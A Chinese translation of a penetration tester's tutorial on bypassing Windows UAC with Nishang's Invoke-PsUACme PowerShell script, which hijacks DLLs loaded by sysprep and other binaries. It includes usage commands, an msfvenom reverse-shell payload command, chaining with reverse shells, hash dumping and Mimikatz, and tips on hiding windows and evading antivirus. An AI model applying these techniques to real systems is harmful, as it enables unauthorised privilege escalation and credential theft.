利用PowerShell繞過用戶帳戶控制(UAC)
背景介紹
UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術,它要求用戶在執(zhí)行可能會影響計算機運行的操作或執(zhí)行更改影響其他用戶的設置的操作之前,提供權限或管理員密碼。通過在這些操作啟動前對其進行驗證,UAC 可以幫助防止惡意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝或對計算機進行更改。
最近,在同Red團隊接觸的過程中,我通過客戶端側攻擊獲取到了一些用戶機器的訪問shell。在很多情況下,用戶都擁有管理權限,但是我卻陷入了非提權的PowerShell反向shell,此時UAC就是讓人掃興的地方。我討厭UAC,因為它很煩人但還沒處在安全邊界。我曾閱讀資料以及嘗試繞過UAC,從中我知道繞過它其實是微不足道的。在本文中,我們將嘗試各種方法和代碼來繞過UAC。
UACME及使用方法
我們選擇的用以繞過UAC的工具是UACME。這個優(yōu)秀的工具實現(xiàn)了各種方法,并且值得慶幸的是它是開源的,為此感謝@hFirF0XAs。因為我總是盡量在后期利用階段都使用PowerShell,所以我測試了UACME,并使用PowerShell實現(xiàn)了其中的一些方法。這里我給出Invoke-PsUACme.ps1文件,你可以在Nishang中的“Escalation(提權)”分類中找到它。
首先,我們以sysprep方法開始,它是繞過UAC最常用的方法,它在2009年由Leo Davidson而出名(詳情)。它包括以下步驟:
1、復制并在目錄C:\Windows\System32\sysprep中植入一個DLL。DLL的名稱取決于Windows版本。
(1)Windows 7上為CRYPTBASE.dll。
(2)Windows 8上為shcore.dll。
2、從上述目錄中執(zhí)行sysprep.exe。它將加載上述DLL并以特殊權限執(zhí)行它。
事實上,所有的UAC繞過方法包括加載DLL和可執(zhí)行的名稱和位置。見下表:
測試過的構建版本:
Windows 7 build 6.1.7601.65536
Windows 8.1 build 6.3.9600.0
Windows 10 build 10.0.10240.0
現(xiàn)在,將DLL復制到 sysprep目錄,我們需要進行權限提升。實現(xiàn)這一目的的兩種最流行的方式是:使用一個IFileOperation COM對象,或者使用Wusa.exe和它的“extract”選項。目前,Invoke-PsUACme使用的是Wusa方法。因為Wusa設置為了自動提升,所以我們可以用它來提取一個cab文件到sysprep目錄??梢酝ㄟ^使用makecab工具創(chuàng)建一個cab文件:
C:\> makecab C:\uac\evil.dll C:\uac\uac.cab
上面的命令只是為了解釋Invoke-PsUACme到底做了什么,我們并不需要手動運行這些命令。
現(xiàn)在,Invoke-PsUACme使用的DLL來自于UACME項目,并做了一個小小的改變。并非運行cmd.exe,而是我們告訴DLL從C:\Windows\Temp執(zhí)行cmd.bat。這個cmd.bat中包含了我們將在目標機器上執(zhí)行的payload。在執(zhí)行復雜攻擊時,這一點將給我們提供很大的靈活性。
上面的DLL(64位和32位)被硬編碼在了DLLBytes64和DLLBytes32變量中的腳本中。這個腳本能夠確定進程的bit-ness,而它就是從這里被調用的,并且使用apt DLL。說到更有趣的部分時,Invoke-PsUACme可以這樣使用:
PS C:\> Invoke-PsUACme -method sysprep
很好,我們能夠繞過UAC了。默認的payload僅僅檢查繞過是否是成功的。注意,在cmd.bat文件中將-noexit參數傳遞給了PowerShell中,這樣我們就可以看到輸出了。
自定義Payload
我們還可以一直使用自定義payload:
PS C:\> Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process"
請注意,我們還需要指定powershell.exe。無論為Paylaod參數指定了什么,它都會在C:\Windows\Temp\cmd.bat中結束。在DLL中改變批處理文件的路徑之后,你也可以使用PayloadPath參數改變它。
后文中我們將再次講解Payload參數的更多實際應用。
自定義DLL
為了使用一個自定義DLL,我們可以使用CustomDLL64和CustomDLL32參數。例如,可以使用UACME中原始的64位Fubuki DLL,并利用Invoke-PsUACme來使用它:
PS C:\> Invoke-PSUACMe -CustomDll64 C:\test\Fubuki64.dll -CustomDll32
我們也可以向DLLBytes64和DLLBytes32參數提供一個DLL的字節(jié)數組。
使用方法
現(xiàn)在,讓我們再現(xiàn)本文開頭中的場景,我們有幾個未提權的反向PowerShell shell,我們可以使用Invoke-PsUACme來以高權限執(zhí)行命令和腳本。接下來,我們使用Nishang的反向TCP(reverse TCP one liner),并使用Invoke-Encode編碼它,然后通過Invoke-PsUACme來使用它:
很酷吧,我們成功地繞過了UAC,并提升了我們的權限。為了驗證這一點,我們從Powerpreter運行Get-PassHashes。一旦成功進行了權限提升,通過使用Nishang/Powerpreter的Enable-DuplicateToken,我們總是可以將權限提升為SYSTEM。
事實上,在提升為SYSTEM權限后,我們也可以使用Powersploit中的Invoke-Mimikatz來用于域tokens。
在上面的例子中,如果你不能從web服務器上pull到腳本,那么可以使用Invoke-Encode將它們編碼為壓縮的base64類型,并能夠以powershell.exe中的編碼指令(-e或-encodecommand)參數使用。也許,你可能喜歡使用PowerShell中的“-WindowStyle hidden”參數來避免向用戶顯示任何彈窗。
雖然metasploit對于UAC繞過有它自己的實現(xiàn)方法,且我們可以利用提升的權限得到一個meterpreter,但利用前面的方法可以有無限的機會。此外,在PowerShell中,我們可以使用msfvenom來生成一個meterpreter:
./msfvenom -p windows/x64/meterpreter/reverse_https LHOST = 192.168.230.154 -f psh-reflection
我已經多次強調,對于Windows網絡的滲透測試來說PowerShell是多么的有用。例如,在最初進行客戶端側攻擊時,我們可以使用Invoke-PsUACme作為一個有效載荷(paylaod)。接下來,我們使用Nishang的Invoke-PsUACme和Out-Word。我們從Invoke-PsUACme腳本本身來進行函數調用,以此避免不必要的復雜命令。
搞定,此時就得到了一個提權的交互式反向PowerShell shell。
正如你所看到的,在PowerShell中實現(xiàn)現(xiàn)有技術是非常有益的,它不僅增加了對PowerShell的理解,還提高了使用PowerShell的技術。
限制性
因為Invoke-PsUACme基于UACME項目,而它所實現(xiàn)的技術會被惡意軟件所使用,因此有可能它所使用的DLL在以后會被殺毒軟件檢測到。當這種問題出現(xiàn)時,根據以往的記錄,對DLL的源碼進行小小的修改應該能夠解決這個問題。
此外,因為Wusa.exe在Windows 10上沒有“extract”選項,所以目前Invoke-PsUACme在Windows 10上無法工作。因此,請自由實現(xiàn)IFileOperation或任何其他方法。
擴展閱讀
對于PowerShell中的UAC繞過,還有其他的實現(xiàn)??梢圆榭催@里。
為了更好地了解UAC繞過,可以查看下面的鏈接:
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html